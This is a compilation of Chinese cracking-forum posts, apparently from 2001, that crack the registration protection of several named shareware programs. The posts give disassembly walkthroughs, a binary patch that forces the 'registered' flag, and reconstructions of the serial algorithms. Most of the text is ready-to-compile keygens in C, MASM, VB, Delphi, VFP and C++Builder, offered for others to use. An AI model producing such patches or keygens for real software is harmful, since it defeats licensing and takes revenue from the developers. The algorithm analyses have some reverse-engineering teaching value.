:0040D8A8 E83BBC0800 call 004994E8 <====将小写字母转换成大写字母
:0040D8AD 59 pop ecx
:0040D8AE 8B559C mov edx, dword ptr [ebp-64]
:0040D8B1 8802 mov byte ptr [edx], al
:0040D8B3 EB08 jmp 0040D8BD


加密精灵V2.2

 标 题:加密精灵V2.2破解过程 (9千字)
发信人:crackjack[BCG]
时 间:2001-10-28 1:40:52
详细信息:
加密精灵V2.2是一个文件加密工具，破解它可以用两种方法：爆破和注册算法。好，我们来看看怎样破它：

1、爆破：

用W32DASM反汇编主程序，在串式参考中查找“这个软件注册给”，双击它，会找到下面的代码：
* Reference To: GDI32.GetObjectA, Ord:014Fh
|
:00418E90 FF1578804300 Call dword ptr [00438078]
:00418E96 A178F74300 mov eax, dword ptr [0043F778] <=====取回注册标志
:00418E9B 85C0 test eax, eax <=====是否是0
:00418E9D 7420 je 00418EBF <=====是则没有注册,跳到未注册的代码处
:00418E9F 682CF34300 push 0043F32C <=====注册成功
:00418EA4 8D542434 lea edx, dword ptr [esp+34]

* Possible StringData Ref from Data Obj ->"这个软件注册给: %s"
|
:00418EA8 68D0C84300 push 0043C8D0
:00418EAD 52 push edx

* Reference To: USER32.wsprintfA, Ord:02ACh
|
:00418EAE FF1520834300 Call dword ptr [00438320]
:00418EB4 83C40C add esp, 0000000C
:00418EB7 8D442430 lea eax, dword ptr [esp+30]
:00418EBB 33C9 xor ecx, ecx
:00418EBD EB0A jmp 00418EC9

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00418E9D(C)
|

* Possible StringData Ref from Data Obj ->"您的注册是对我们最大的支持和鼓励"
|
:00418EBF B8ACC84300 mov eax, 0043C8AC

* Possible Reference to Dialog: DialogID_00A1, CONTROL_ID:00FF, ""

看到上面的代码了吗?所以我们必须把注册标志改为不为零的数字,通常是改为1,我的改法是:

:00418E96 A178F74300 mov eax, dword ptr [0043F778] <=====改为mov word ptr
:00418E9B 85C0 test eax, eax <=====[0043F778],1刚好九个字节
:00418E9D 7420 je 00418EBF

2、注册算法:

这个软件是根据注册名来算出注册码的,注册码一共有16位,程序会自动生成密码表,密码表的形式为:

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz

然后通过注册名算出各个注册码在密码表中的位置.好,我们先下中断,BPX HMEMCPY，中断后用pmodule返回到主程序：

:0040151F 6A1E push 0000001E <=====返回到这里
:00401521 6864EA4300 push 0043EA64
:00401526 6815040000 push 00000415
:0040152B 53 push ebx
:0040152C FFD6 call esi
:0040152E 50 push eax
:0040152F FFD7 call edi
:00401531 6A02 push 00000002
:00401533 6A00 push 00000000
:00401535 E836780100 call 00418D70
:0040153A 6A00 push 00000000
:0040153C 6864EA4300 push 0043EA64 <=====这里是我们输入的注册名和注册码
:00401541 682CF34300 push 0043F32C <=====
:00401546 E895730200 call 004288E0 <=====计算和判断注册码的CALL,如果不正确则EAX=1,所以要F8进入
:0040154B 83C414 add esp, 00000014
:0040154E F7D8 neg eax
:00401550 1BC0 sbb eax, eax
:00401552 40 inc eax
:00401553 A378F74300 mov dword ptr [0043F778], eax
:00401558 0F849C000000 je 004015FA <====如果注册码不正确,则跳
:0040155E BF2CF34300 mov edi, 0043F32C
:00401563 83C9FF or ecx, FFFFFFFF
:00401566 33C0 xor eax, eax
:00401568 F2 repnz
:00401569 AE scasb
:0040156A F7D1 not ecx
:0040156C 51 push ecx
:0040156D 682CF34300 push 0043F32C

* Possible StringData Ref from Data Obj ->"UserName"
|
:00401572 68D0B04300 push 0043B0D0

* Possible StringData Ref from Data Obj ->"Setings"
|
:00401577 68C8B04300 push 0043B0C8
:0040157C E8BF030000 call 00401940
:00401581 8BC8 mov ecx, eax
:00401583 E8A8B10000 call 0040C730
:00401588 BF64EA4300 mov edi, 0043EA64
:0040158D 83C9FF or ecx, FFFFFFFF
:00401590 33C0 xor eax, eax
:00401592 F2 repnz
:00401593 AE scasb
:00401594 F7D1 not ecx
:00401596 51 push ecx
:00401597 6864EA4300 push 0043EA64

* Possible StringData Ref from Data Obj ->"RegisterNumber"

进入CALL后,一直按F10,来到下面的地方:

:004288FA E871000000 call 00428970 <====调用算法的CALL,F8进入
:004288FF 83C408 add esp, 00000008
:00428902 85C0 test eax, eax
:00428904 744D je 00428953
:00428906 53 push ebx
:00428907 56 push esi
:00428908 8D74240C lea esi, dword ptr [esp+0C]
:0042890C 8BC7 mov eax, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00428930(C)
|
:0042890E 8A10 mov dl, byte ptr [eax] <====我们输入的假注册码
:00428910 8A1E mov bl, byte ptr [esi] <====真正的注册码,用D ESI就可以看到真正的注册码
:00428912 8ACA mov cl, dl
:00428914 3AD3 cmp dl, bl <====比较注册码
:00428916 751E jne 00428936
:00428918 84C9 test cl, cl
:0042891A 7416 je 00428932
:0042891C 8A5001 mov dl, byte ptr [eax+01]
:0042891F 8A5E01 mov bl, byte ptr [esi+01]
:00428922 8ACA mov cl, dl
:00428924 3AD3 cmp dl, bl
:00428926 750E jne 00428936
:00428928 83C002 add eax, 00000002
:0042892B 83C602 add esi, 00000002
:0042892E 84C9 test cl, cl
:00428930 75DC jne 0042890E

下面是注册算法:

:004289E1 8B442458 mov eax, dword ptr [esp+58] <===取注册名,ESI初始值=注册名长度
:004289E5 33D2 xor edx, edx
:004289E7 BF3E000000 mov edi, 0000003E
:004289EC 0FBE0C06 movsx ecx, byte ptr [esi+eax] <==取注册名+注册名字符位置
:004289F0 03CD add ecx, ebp <===ECX+B2770FBE
:004289F2 8BC1 mov eax, ecx <+==EAX=ECX EAX=商 EDX=余数
:004289F4 F7F7 div edi <==EAX/3E
:004289F6 83F93D cmp ecx, 0000003D <==；比较CL是否大于3D
:004289F9 8BFA mov edi, edx
:004289FB 7615 jbe 00428A12 不大于则跳

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00428A10(C)
|
:004289FD B885104208 mov eax, 08421085
:00428A02 F7E1 mul ecx
:00428A04 2BCA sub ecx, edx
:00428A06 D1E9 shr ecx, 1
:00428A08 03CA add ecx, edx
:00428A0A C1E905 shr ecx, 05
:00428A0D 83F93D cmp ecx, 0000003D
:00428A10 77EB ja 004289FD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004289FB(C)
|
:00428A12 03CF add ecx, edi
:00428A14 83F93D cmp ecx, 0000003D
:00428A17 761F jbe 00428A38
:00428A19 8BC1 mov eax, ecx
:00428A1B 33D2 xor edx, edx
:00428A1D BF3E000000 mov edi, 0000003E
:00428A22 F7F7 div edi
:00428A24 B885104208 mov eax, 08421085
:00428A29 8BFA mov edi, edx
:00428A2B F7E1 mul ecx
:00428A2D 2BCA sub ecx, edx
:00428A2F D1E9 shr ecx, 1
:00428A31 03CA add ecx, edx
:00428A33 C1E905 shr ecx, 05
:00428A36 03CF add ecx, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00428A17(C)
|
:00428A38 8B54245C mov edx, dword ptr [esp+5C]
:00428A3C 8A4C0C14 mov cl, byte ptr [esp+ecx+14] <===从密码表中取位置为ECX的注册码
:00428A40 8B442410 mov eax, dword ptr [esp+10]
:00428A44 880C13 mov byte ptr [ebx+edx], cl <====保存注册码
:00428A47 43 inc ebx
:00428A48 46 inc esi
:00428A49 3BF0 cmp esi, eax
:00428A4B 7C02 jl 00428A4F
:00428A4D 33F6 xor esi, esi <=====清0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00428A4B(C)
|
:00428A4F 45 inc ebp
:00428A50 83FB10 cmp ebx, 00000010 <====够16位了吗?
:00428A53 7C8C jl 004289E1 <====不够继续运算
:00428A55 8B44245C mov eax, dword ptr [esp+5C]
:00428A59 C70598FB430010000000 mov dword ptr [0043FB98], 00000010
:00428A63 5D pop ebp
:00428A64 C6040300 mov byte ptr [ebx+eax], 00
:00428A68 5B pop ebx
:00428A69 5F pop edi
:00428A6A B801000000 mov eax, 00000001
:00428A6F 5E pop esi
:00428A70 83C444 add esp, 00000044
:00428A73 C3 ret

写注册机不是小弟的长项,希望哪位朋友写一个注册机给大家用好了,呵呵


捷径点点通 2.00

 标 题:一连几个软件都无头绪，真不爽，搞个算法来解解气！ (3千字)
发信人:LILITH[CNCG]
时 间:2001-12-16 17:27:21
详细信息:
捷径点点通 2.00注册算法分析！

[作 者]：LILITH[CNCG]
[时 间]：2001-12-15
[软 件]：捷径点点通2.00
[软件简介]：大多数人都喜欢走“捷径”，本软件就是为此目的而设计的。当您在地图上选择了“出发地”（起始坐标点）和“目的地”（终止坐标点），然后再点击一下“开始计算最短路径”，接着等待几秒钟，本软件就会自动为您指出“出发地”和“目的地”之间的最短路径，让您轻松找到“捷径”。
[下 载]：http://www.csdn.net/soft/openfile.asp?kind=1&id=13091
[保护方式]：注册码
[破解工具]：trw2000

这是我的第一个算法分析，首先感谢PaulYoung大侠的指点，令我这等菜鸟尝到了注册算法的甜头，如有不对的地方还请各路英雄指正，呵呵……GO！

还是老办法，用TRW2000下断点bpx hmemcpy,中断后7下F12，来到……
0177:004736BA LEA EDX,[EBP-10] \\光标停在这里……
0177:004736BD MOV EAX,[EBP-04]
0177:004736C0 MOV EAX,[EAX+03A0]
0177:004736C6 CALL 004379CC
0177:004736CB MOV EAX,[EBP-0C]
0177:004736CE CALL 00404C1C
0177:004736D3 MOV [EBP-20],EAX
0177:004736D6 LEA EAX,[EBP-08]
0177:004736D9 CALL 00404964
0177:004736DE MOV EDI,[EBP-20]
0177:004736E1 TEST EDI,EDI \\验证输入注册名的位数
0177:004736E3 JNG 0047371D \\为零则跳
0177:004736E5 MOV ESI,01 \\ESI初始值为1
0177:004736EA MOV EAX,[EBP-0C]
0177:004736ED XOR EBX,EBX　　　 \\EBX始值为零
0177:004736EF MOV BL,[EAX+ESI-01]　 \\取注册名第一位字母的十六进制值
0177:004736F3 IMUL EAX,[EBP-20],BYTE +6B \\用注册名位数与6B相乘，结果保存入EAX
0177:004736F7 ADD EAX,EBX　 \\将得出的数与字母的十六进制数相加
0177:004736F9 CDQ
0177:004736FA IDIV ESI　 \\将计算结果除以ESI的值，即除1，结果仍保存到EAX
0177:004736FC MOV EBX,EAX　\\将结果存入EBX
0177:004736FE LEA EDX,[EBP+FFFFFE10]
0177:00473704 MOV EAX,EBX
0177:00473706 CALL 00408C2C
0177:0047370B MOV EDX,[EBP+FFFFFE10]
0177:00473711 LEA EAX,[EBP-08]
0177:00473714 CALL 00404C24
0177:00473719 INC ESI　 \\ESI递增
0177:0047371A DEC EDI　 \\EDI递减
0177:0047371B JNZ 004736EA \\继续往上跳，循环取注册名的第二，三位，直至取完
0177:0047371D CMP DWORD [EBP-08],BYTE +00
0177:00473721 JZ NEAR 004738A1
0177:00473727 MOV EAX,[EBP-08]
0177:0047372A MOV EDX,[EBP-10]
0177:0047372D CALL 00404D60　 \\取完后到这里形成注册码，下D EDX可看到真的注册码。
0177:00473732 JNZ NEAR 004738A1 \\完成验证，跳转。

总结：此程序通过注册名的长度来计注册码，就是说，注册名越长，注册码也就越长。输入注册名后，程序按位取注册名的字母来计算注册码。先用6B(DEC=107)乘上注册名的位数，如我用CNCG，所以为4，得出的数加上依次取得的每位字符的十六进制值，再除以ESI的值(ESI初始值为1)，就得出注册码，例如我的注册名为CNCG，则计算方法是：
C=6b(107)*4+67/1=495 (4为注册名长度；67是C的十六进制值，1是ESI的值,ESI递增1)
N=6b(107)*4+78/2=253
C=6b(107)*4+67/3=165
G=6b(107)*4+71/4=124

将4个数串依次起来就是495253165124,这就是注册码了，呵呵……
至此，软件已经成功注册，我的废话也到此结束了，最后，再次感谢PaulYoung大侠的教导！BYE……

标 题:KAO,想不劳而获!!TC注册机!!! (250字)
发信人:plyg
时 间:2001-12-17 10:17:50
详细信息:

#include "stdio.h"
main()
{
char name[80];
int namelen,i=0;
puts("\nPlease input your name:");
scanf("%s",name);
namelen=strlen(name);
puts("Your regcode is:");
for(i=0;name[i];i++)printf("%d",(0x6b*namelen+name[i])/(i+1));
}

标 题:补上一脚：MASM32注册机! (4千字)
发信人:WenXinJY
时 间:2001-12-17 11:05:32
详细信息:

;jjkg.asm
.386
.model flat,stdcall
option casemap:none
include hd.h
_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Calculation Proto

.const
DLG_MAIN equ 1000
IDC_UN equ 1001
IDC_SN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004

.data
MsgCap db "捷径点点通 2. 5 注册机 by WenXinJY",0
MsgName db "请输入您的用户名！",0
hInstance dd 0
UserLen dd 0
szFormat db "%i",0
UserID db 80 dup (0)
SNtmp db 10 dup (0)
SN db 200 dup (0)

.radix 16

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL
invoke ExitProcess,NULL

_WinMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke SetWindowText,hWnd,ADDR MsgCap
invoke SendDlgItemMessage,hWnd,IDC_SN,EM_SETREADONLY,TRUE,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if eax==ID_GEN
invoke RtlZeroMemory,addr SN,200 ;注意这里，否则第二次生成的注册码会串在第一次的后面，呵呵
invoke GetDlgItemText, hWnd, IDC_UN, addr UserID, 80
.if eax!=NULL
mov UserLen,eax
invoke Calculation
invoke SetDlgItemText, hWnd, IDC_SN, addr SN
.else
invoke MessageBox,NULL,addr MsgName,addr MsgCap,MB_OK or MB_ICONEXCLAMATION
.endif
.elseif eax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_WinMain ENDP

Calculation Proc
pushad
mov ebx,UserLen
mov eax,6bh
mul ebx
mov ebx,eax
xor ebp,ebp
Next:
mov eax,ebx
add al, UserID[ebp]
adc eax,0 ;加上，取进位
cdq ;加上，否则非法操作时别找我
inc ebp
div ebp
push eax
push offset szFormat
push offset SNtmp
call wsprintf
add esp,4*3
invoke lstrcat,addr SN,addr SNtmp
Dec UserLen
jnz Next
popad
ret
Calculation Endp
End start
;=========================================jjkg.rc
#include <\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_UN 1001
#define IDC_SN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
2 icon key.ico
DLG_MAIN DIALOG 64,53,240,52
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "捷径点点通 2. 5 注册机 by WenXinJY"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 200, 8, 30, 14
PUSHBUTTON "退出", ID_EXIT, 200, 26, 30, 14
EDITTEXT IDC_UN, 40, 10, 150, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_SN, 40, 29, 150, 13, WS_BORDER | WS_TABSTOP
LTEXT "用户名:", -1, 8, 12, 30, 10
LTEXT "注册码:", -1, 8, 30, 30, 9
}
;===============================hd.h
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

标 题:再补：VB注册机！ (416字)
发信人:eCool[BCG]
时 间:2001-12-17 11:30:01
详细信息:

Dim lngLen As String
Dim strSN As String
Dim strTmp As String
Dim i As Long
Dim j As Long

strTmp = InputBox("请输入用户名")
lngLen = Len(strTmp)
If lngLen <= 0 Then
MsgBox "用户名不能为空！"
Exit Sub
End If

strSN = ""
For i = 1 To lngLen
j = Asc(Mid(strTmp, i, 1))
strSN = strSN & CStr((107 * lngLen + j) \ i)
Next i

MsgBox "注册码为：" & strSN

标 题:我来插一脚，来个delphi的，哈哈~~~~~~ (745字)
发信人:crackjack[CCG]
时 间:2001-12-18 3:43:47
详细信息:

procedure TForm1.Button1Click(Sender: TObject);
var //定义变量关键词
name:string; //定义存放注册名的字符串变量
namelen:integer; //定义注册名长度
code:array of integer; //定义存放注册码的动态数组，在用动态数组时，在程序中一定要分配空间
i:integer; //定义循 环变量
reg:string; //注册码
begin
name:=edit1.Text ; //取注册名
namelen:=strlen(pchar(name)); //计算注册名长度
setlength(code,namelen); //给动态数组code分配数量为namelen长度的空间
reg:=''; //初始化注册码
for i:=1 to namelen do
begin
code[i-1]:= (107*namelen+ord(name[i])) div i; //计算注册码
reg:=reg+inttostr(code[i-1]); //将注册码转换成字符串
end;
edit2.Text :=reg; //显示注册码
end;

标 题:我又来趁热闹，来个VFP的，嘻嘻~~~~~~ (240字)
发信人:幸运星星
时 间:2001-12-18 10:40:55
详细信息:

acce "请输入用户名:" to N
L = Len(N)
If L <= 0
MessageBox("用户名不能为空！")
retu
EndIf
C = ""
For i = 1 To L
j = Asc(subs(N, i, 1))
C = C+allt(Str(int((107*L + j)/i)))
endf
MessageBox("注册码为：" +C)

标 题:想要最小的注册机的进来!!!!编译出来只98字节!!!!!够不够变态？？？？ (894字)
发信人:WenXinJY
时 间:2001-12-18 19:33:40
详细信息:

;==============masm16kg.asm===========
;编译方法(当然得用masm 5.0或其他16位编译器啦)：
;masm masm16kg;
;link masm16kg;
;debug masm16kg.exe --> rcx将16F改为6F --> n masm16kg.com --> w --> q
;运行你的作品吧。

code segment
assume cs:code,ds:code,ss:code
org 100h
start:
mov ah,9
mov dx,offset Msg
int 21h
mov ah,0ah
mov dx,offset szName
int 21h
xor cx,cx
lea si,Buf
mov ax,107
mov bl,ReadLen
mul bl
mov bp,ax
mov ah,9
mov dx,offset Msg2
int 21h
Next:
xor ax,ax
lodsb
add ax,bp
inc cx
xor dx,dx
div cx
push cx
xor cx,cx
Next1:
test ax,ax
jz Disp
xor dx,dx
mov di,10
div di
add dl,'0'
push dx
inc cx
jmp Next1
Disp:
pop dx
mov ah,2
int 21h
loop Disp
pop cx
cmp cl,bl
jl Next
int 20h

Msg db "Name:$"
Msg2 db 0ah,"Code:",24h
szName Label byte
NameLen db 82
ReadLen db 80
Buf Label byte
code ends
end start


浪漫情书 v3.0

 标 题:浪漫情书 v3.0注册器（BCB 5编译通过） (3千字)
发信人:ice_world
时 间:2001-9-26 23:56:54
详细信息:
 主程序文件：main.cpp
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "main.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TMainForm
*MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::Exit_BtnClick(TObject *Sender)
{
Application->Terminate();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ID_EditKeyPress(TObject *Sender, char &Key)
{
if(Key<'0' | Key>'9')
{
if(Key=='\b')
{return;}
Application->MessageBoxA("请输入一个数字，否则你将得不到正确的结果！","错误",MB_OK);
Key=NULL;
return;
}
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::ID_EditChange(TObject *Sender)
{
AnsiString
REG_Temp;
ULONG NUM_Temp;
DWORD ASC_Temp;

NUM_Temp=0;
if(User_Edit->Text.Length()<6)
{
Key_Edit->Text="用户名的长度不能少于6位";
return;
}
if(ID_Edit->Text=="")
{
Key_Edit->Text="待注册码不能为空";
return;
}
REG_Temp=ID_Edit->Text+User_Edit->Text;
for(int i=1;i<=REG_Temp.Length();i++)
{
ASC_Temp=REG_Temp[i]*(i+3);
NUM_Temp=NUM_Temp+ASC_Temp;
}
NUM_Temp=NUM_Temp*0x43C9;
NUM_Temp=NUM_Temp+0x595EFBB;
Key_Edit->Text=AnsiString(NUM_Temp);    ;这里就是注册码了
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::Web_LabelClick(TObject *Sender)
{
ShellExecute(Handle,"open","http://WWW.DOWNCRACK.COM/",NULL,NULL,SW_MAXIMIZE);
}
//---------------------------------------------------------------------------

头文件：main.h
//---------------------------------------------------------------------------

#ifndef mainH
#define mainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <Buttons.hpp>
//---------------------------------------------------------------------------
class TMainForm : public TForm
{
__published:    //
IDE-managed Components
TLabel *ID_Label;
TLabel *Reg_Label;
TEdit *ID_Edit;
TEdit *Key_Edit;
TBitBtn *Exit_Btn;
TLabel
*Web_Label;
TLabel *Label2;
TLabel *Label3;
TLabel *Label1;
TLabel *User_Label;
TEdit *User_Edit;
void __fastcall Exit_BtnClick(TObject
*Sender);
void __fastcall ID_EditKeyPress(TObject
*Sender, char &Key);
void __fastcall ID_EditChange(TObject
*Sender);
void __fastcall Web_LabelClick(TObject
*Sender);
private:    // User declarations
public:
      // User declarations
__fastcall TMainForm(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TMainForm *MainForm;
//---------------------------------------------------------------------------
#endif

标 题:贴它的注册机（1.0，TC） (780字)
发信人:伪装者[CCG]
时 间:2001-9-27 0:30:05
详细信息:

 #include "stdio.h"
main()
{
unsigned char string[81];
char sn[10];
long
d=0;
int i,c;
end:printf("******LoveLetter 1.0********\nThis keygen
is made by Pretender\nPlease input your name  : ");
gets(string);
d=strlen(string);
if(d<6) {printf("Sorry,your username must longer than
5 letters!\n"); goto end;}
printf("Please input your ID    : ");
gets(sn);
strcat(string,sn);
d=0;
for(i=0;(c=string[i])!='\0';i++)
{c*=(i+2);d+=c;}
d*=0x3505;d+=0x3686c61;
/*printf("Your name is
          : ");
puts(string);*/
printf("Your
Register code is  : %ld\n",d);
printf(" *****************************
    ---    ---    ---\n *Welcome to WWW.CRACKNOW.COM*
    /      /      / --\n *****************************
    ---    ---    --/\n");}

标 题:伪装者，你的注册器要改一下了，3。0要修改方法了！ (空)
发信人:ice_world
时 间:2001-9-27 17:54:36
详细信息:


凌云邮神

 标 题:『凌云邮神』 注册码破解 （非明码比较的哦 ^_^） (6千字)
发信人:paulyoung
时 间:2001-11-5 23:23:50
详细信息:
『凌云邮神』 注册码破解 （非明码比较的哦 ^_^）

作者：PaulYoung （ 属于 China Cracking Group ）
软件：凌云邮神　（ http://fang_public.myetang.com/Dewnload/LYMail.zip 267 KB ）
简介：支持国内绝大多数邮件服务器，支持附件发送，可发送无限个附件；支持SMTP身份验证；速度奇快。可以设置优先级。本软件区别于其他邮件群发软件的最大特点就是在收信地址正确的情况下只须发送次邮件的时间即可发完全部邮件，极大地缩短了上网时间。
加密：一机一码，非明码比较
工具：SoftICE 4.05 334
日期：2001.11.05

************************************************************************************************

    最近对爆破和明码比较的软件完全失去破解的兴趣了，内存注册机也玩到腻了，专心搞一些非明码破解和加强对加密算法的研究。下面这个软件，是一个非明码比较的软件，比较简单，细心一点不难破解。如果哪位朋友有一些非明码比较的软件，欢迎向我推荐，最好几百 KB 就好了，还有，DOS 和 VB 就免了，小生怕怕　:) 呵……忘了告诉大家怎么联系我，My E-mail: paulyoung@21cn.com , QQ:65827779 ，不要寄病毒来哦！

为了节约时间，相信大家也非常容易就找到它的关键所在，另外为了叙述，下面的数字均是十进制。
    算法验证就在下面了……

* Referenced by a CALL at Addresses:
|:0046F40F , :0046F915 , :004704BF , :00470961 // WOO...四处地方验证注册码
|
:0046F208 55 push ebp
:0046F209 8BEC mov ebp, esp
:0046F20B 33C9 xor ecx, ecx
:0046F20D 51 push ecx
:0046F20E 51 push ecx
:0046F20F 51 push ecx
:0046F210 51 push ecx
:0046F211 51 push ecx
:0046F212 51 push ecx
:0046F213 51 push ecx
:0046F214 53 push ebx
:0046F215 33C0 xor eax, eax
:0046F217 55 push ebp
:0046F218 68F8F24600 push 0046F2F8
:0046F21D 64FF30 push dword ptr fs:[eax]
:0046F220 648920 mov dword ptr fs:[eax], esp
:0046F223 C645FF00 mov [ebp-01], 00
:0046F227 8D45F8 lea eax, dword ptr [ebp-08]
:0046F22A E811FEFFFF call 0046F040
:0046F22F B201 mov dl, 01
:0046F231 A160F84400 mov eax, dword ptr [0044F860]
:0046F236 E82507FEFF call 0044F960
:0046F23B 8BD8 mov ebx, eax
:0046F23D BA02000080 mov edx, 80000002
:0046F242 8BC3 mov eax, ebx
:0046F244 E8B707FEFF call 0044FA00
:0046F249 8D55EC lea edx, dword ptr [ebp-14]
:0046F24C A16C364700 mov eax, dword ptr [0047366C]
:0046F251 8B00 mov eax, dword ptr [eax]
:0046F253 E8D8A2FDFF call 00449530
:0046F258 8B4DEC mov ecx, dword ptr [ebp-14]
:0046F25B 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"SOFTWARE\"
|
:0046F25E BA10F34600 mov edx, 0046F310
:0046F263 E8004BF9FF call 00403D68
:0046F268 8B55F0 mov edx, dword ptr [ebp-10]
:0046F26B 8BC3 mov eax, ebx
:0046F26D E8820CFEFF call 0044FEF4
:0046F272 84C0 test al, al
:0046F274 743A je 0046F2B0
:0046F276 8D55E4 lea edx, dword ptr [ebp-1C]
:0046F279 A16C364700 mov eax, dword ptr [0047366C]
:0046F27E 8B00 mov eax, dword ptr [eax]
:0046F280 E8ABA2FDFF call 00449530
:0046F285 8B4DE4 mov ecx, dword ptr [ebp-1C]
:0046F288 8D45E8 lea eax, dword ptr [ebp-18]

* Possible StringData Ref from Code Obj ->"SOFTWARE\"
|
:0046F28B BA10F34600 mov edx, 0046F310
:0046F290 E8D34AF9FF call 00403D68
:0046F295 8B55E8 mov edx, dword ptr [ebp-18]
:0046F298 B101 mov cl, 01
:0046F29A 8BC3 mov eax, ebx
:0046F29C E89F08FEFF call 0044FB40
:0046F2A1 8D4DF4 lea ecx, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"RegSN"
|
:0046F2A4 BA24F34600 mov edx, 0046F324
:0046F2A9 8BC3 mov eax, ebx
:0046F2AB E8580AFEFF call 0044FD08

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0046F274(C)
|
:0046F2B0 8BC3 mov eax, ebx
:0046F2B2 E81907FEFF call 0044F9D0
:0046F2B7 837DF400 cmp dword ptr [ebp-0C], 00000000
:0046F2BB 7420 je 0046F2DD
:0046F2BD 8B45F8 mov eax, dword ptr [ebp-08]
:0046F2C0 E88BFEFFFF call 0046F150
:0046F2C5 8BD8 mov ebx, eax //注意，eax的值变为 2547 了，并保存到ebx
:0046F2C7 8B45F4 mov eax, dword ptr [ebp-0C]
:0046F2CA E89990F9FF call 00408368
:0046F2CF 03D8 add ebx, eax //来到这里，eax 就是你输入的注册码，ebx 的值为 2547 ，eax + ebx ，结果保存到 ebx
:0046F2D1 81FBBAAA9404 cmp ebx, 0494AABA //ebx 与 0494AABA 的值比较
:0046F2D7 7504 jne 0046F2DD　　　　 //不等则跳
:0046F2D9 C645FF01 mov [ebp-01], 01　 　//不跳你就成功了！

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0046F2BB(C), :0046F2D7(C)
|
:0046F2DD 33C0 xor eax, eax //注册码不正确，跳到此 eax 清0，完蛋！
:0046F2DF 5A pop edx
:0046F2E0 59 pop ecx
:0046F2E1 59 pop ecx
:0046F2E2 648910 mov dword ptr fs:[eax], edx
:0046F2E5 68FFF24600 push 0046F2FF

    我们重点分析 0046F2D1 这处关键的比较：
    ebx = 输入的注册码 + 2547 的和，而 0494AABA 的值是 76851898 ，两者相等则成功，那么，那真正的注册码就是 76851898-2547=76849351 :)

    我的软件序号是：1D6D-17E5 ，注册码是：76849351 ，填入后，“注册完成”！再重启，WA...软件的注册按钮也不见了，成功了！！！！
    注册码跟公司名和电话号码无关。

    可惜小弟水平有限，汇编学得不精，尚未发现软件序号跟注册码之间的关系，2547 这个值是怎么来的呢？？恳请大侠出手，指点小弟一二，不胜感激。

标 题:『凌云邮神』之算法分析篇 (6千字)
发信人:paulyoung
时 间:2001-11-6 21:44:25
详细信息:

『凌云邮神』之算法分析篇

作者：PaulYoung（ 属于 China Cracking Group ）
软件：凌云邮神　（ http://fang_public.myetang.com/Dewnload/LYMail.zip 267 KB ）
简介：支持国内绝大多数邮件服务器，支持附件发送，可发送无限个附件；支持SMTP身份验证；速度奇快。可以设置优先级。本软件区别于其他邮件群发软件的最大特点就是在收信地址正确的情况下只须发送次邮件的时间即可发完全部邮件，极大地缩短了上网时间。
加密：一机一码，非明码比较
工具：SoftICE 4.05 334
日期：2001.11.05

************************************************************************************************

    原文再续书接上一回，上回在注册码破解篇我们说到……（怎么象个说书人？:) ）

:0046F2C0 E88BFEFFFF call 0046F150
:0046F2C5 8BD8 mov ebx, eax //注意，eax的值变为 2547 了，并保存到ebx
:0046F2C7 8B45F4 mov eax, dword ptr [ebp-0C]
:0046F2CA E89990F9FF call 00408368
:0046F2CF 03D8 add ebx, eax //来到这里，eax 就是你输入的注册码，ebx 的值为 2547 ，eax + ebx ，结果保存到 ebx
:0046F2D1 81FBBAAA9404 cmp ebx, 0494AABA //ebx 与 0494AABA 的值比较
:0046F2D7 7504 jne 0046F2DD　　　　 //不等则跳
:0046F2D9 C645FF01 mov [ebp-01], 01　 　//不跳你就成功了！

